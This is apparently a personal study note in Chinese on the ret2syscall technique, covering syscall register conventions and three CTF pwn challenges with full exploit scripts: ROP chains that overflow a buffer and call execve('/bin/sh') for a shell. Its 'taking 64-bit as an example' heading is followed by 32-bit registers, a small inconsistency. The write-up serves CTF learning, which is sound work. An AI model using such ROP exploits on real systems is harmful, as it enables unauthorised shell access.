主要是自己的简单的学习总结。
知识点
关于系统调用如何传递参数问题,即系统调用约定(syscall,int 80h,svc)_int 80h intel汇编用法-CSDN博客
ret2syscall的做题思路(以32位程序为例) - ZikH26 - 博客园 (cnblogs.com)
主要是参数和调用号的传递
像ax这种的可以通过函数返回值来控制对应的值,比如read返回读取的字节数。
64位
syscall
syscall是64位的系统调用
调用号通过 rax传递
参数传递: rdi,rsi,rdx,rcx,r8,r9
32位
int 80h
调用号: eax
参数: ebx,ecx,edx,esi,edi
Intel 体系系统调用最多6个参数,都是通过寄存器传递,都不通过栈。
系统调用的返回结果在ax里
Example
以64位为例
我们想调用
execve("/bin/sh",NULL,NULL)
eax : execve的系统调用号 0xb
ebx : 第一个参数,指向"/bin/sh"
的地址
ecx : 第二个参数,0
edx: 第三个参数,0
一些例题
就是
ret2syscall的做题思路(以32位程序为例) - ZikH26 - 博客园 (cnblogs.com)
里面提到的几道
[buu] inndy_rop
题目
checksec:
这里有个很关键的点:
从这里要意识到,这个程序是静态链接的(当然也可以file查看elf文件),所以ret2libc是失效了。
这道题用的就是文章提到的第一种方法,利用ecx
,[ecx]
来设置好写入地址以及写入的值
要注意这里查找gadget的方法: ROPgadget --binary=./pwn | grep 'pop dword ptr \[ecx\]'
然后是syscall调用execve
格式: execve(“/bin/sh”,0,0)
根据系统调用传递规则:
eax: 11
ebx: "/bin/sh"地址
ecx: 0
edx: 0
int 0x80
对应exp:
pop_eax_ret = 0x080b8016
pop_ebx_ret = 0x080481c9
pop_ecx_ret = 0x080de769
pop_edx_ret = 0x0806ecda
pop_ecx_mem_ret = 0x0804b5ba # [ecx]
int_0x80 = 0x0806c943
bss = 0x80EAF80
payload = b''
payload += b'a'*0xC + b'b'*4 + p32(pop_ecx_ret) + p32(bss) + p32(pop_ecx_mem_ret) + b'/bin' \
+ p32(pop_ecx_ret) + p32(bss+4) + p32(pop_ecx_mem_ret) + b'/sh\x00'
payload += p32(pop_eax_ret) + p32(0xb) + p32(pop_ebx_ret) + p32(bss) + p32(pop_ecx_ret) + p32(0) + p32(pop_edx_ret) + p32(0) + p32(int_0x80)
sl(payload)
p.interactive()
[buu] cmcc_simplerop
题目
ubuntu16
checksec:
同样的,也是静态链接。
程序里面有read,而且bss段可写,那么就对应文章提到的第二种方法。
这里存在80字节的溢出。
考虑把返回地址改为read函数,再进行一次read,把/bin/sh 读入bss段。
然后就是后面syscall的时候要传 eax=11,但此时栈顶的三个元素是read函数的参数,所以先要pop三次清空栈顶。
最后还有一个点要注意,写入的字符串离返回地址 ebp+4
的offset是0x20 而不是用IDA算出来的 0x14 + 4 = 0x18
这可以用gdb调试查看:
read函数原型
ssize_t read(int fd,void *buf,size_t count);
read(0,bss,8);
然后就是这里直接找ecx的gadget找不到,但pop_ecx_ebx_ret也能用
对应exp:
pop_eax_ret = 0x080bae06
pop_ebx_ret = 0x080481c9
pop_ecx_ebx_ret = 0x0806e851
pop_edx_ret = 0x0806e82a
int_0x80 = 0x080493e1
pop_edx_ecx_ebx_ret = 0x0806e850
offset = 0x20
read = 0x0806CD50
bss = 0x80EAF80
payload = b'a'*0x20 + p32(read) + p32(pop_edx_ecx_ebx_ret) # pop * 3
payload += p32(0) + p32(bss) + p32(8)
payload += p32(pop_eax_ret) + p32(11) + p32(pop_ebx_ret) + p32(bss) + p32(pop_ecx_ebx_ret) + p32(0) + p32(bss) + p32(pop_edx_ret) + p32(0) + p32(int_0x80)
sla("Your input :",payload)
sl(b'/bin/sh\x00')
p.interactive()
picoctf_2018_can_you_gets_me
题目
跟上面的题一样的,这里就记录下直接用 ROPgadget生成的ropchain的打法
ROPgadget --binary ./pwn --ropchain
对应IDA看下offset即可
24+4=28
直接用生成的ropchain
# Padding goes here
offsest = 28
p = b'a'*offsest
p += pack('<I', 0x0806f02a) # pop edx ; ret
p += pack('<I', 0x080ea060) # @ .data
p += pack('<I', 0x080b81c6) # pop eax ; ret
p += b'/bin'
p += pack('<I', 0x080549db) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x0806f02a) # pop edx ; ret
p += pack('<I', 0x080ea064) # @ .data + 4
p += pack('<I', 0x080b81c6) # pop eax ; ret
p += b'//sh'
p += pack('<I', 0x080549db) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x0806f02a) # pop edx ; ret
p += pack('<I', 0x080ea068) # @ .data + 8
p += pack('<I', 0x08049303) # xor eax, eax ; ret
p += pack('<I', 0x080549db) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x080481c9) # pop ebx ; ret
p += pack('<I', 0x080ea060) # @ .data
p += pack('<I', 0x080de955) # pop ecx ; ret
p += pack('<I', 0x080ea068) # @ .data + 8
p += pack('<I', 0x0806f02a) # pop edx ; ret
p += pack('<I', 0x080ea068) # @ .data + 8
p += pack('<I', 0x08049303) # xor eax, eax ; ret
p += pack('<I', 0x0807a86f) # inc eax ; ret
p += pack('<I', 0x0807a86f) # inc eax ; ret
p += pack('<I', 0x0807a86f) # inc eax ; ret
p += pack('<I', 0x0807a86f) # inc eax ; ret
p += pack('<I', 0x0807a86f) # inc eax ; ret
p += pack('<I', 0x0807a86f) # inc eax ; ret
p += pack('<I', 0x0807a86f) # inc eax ; ret
p += pack('<I', 0x0807a86f) # inc eax ; ret
p += pack('<I', 0x0807a86f) # inc eax ; ret
p += pack('<I', 0x0807a86f) # inc eax ; ret
p += pack('<I', 0x0807a86f) # inc eax ; ret
p += pack('<I', 0x0806cc25) # int 0x80
io.sendafter("NAME!",p)
io.interactive()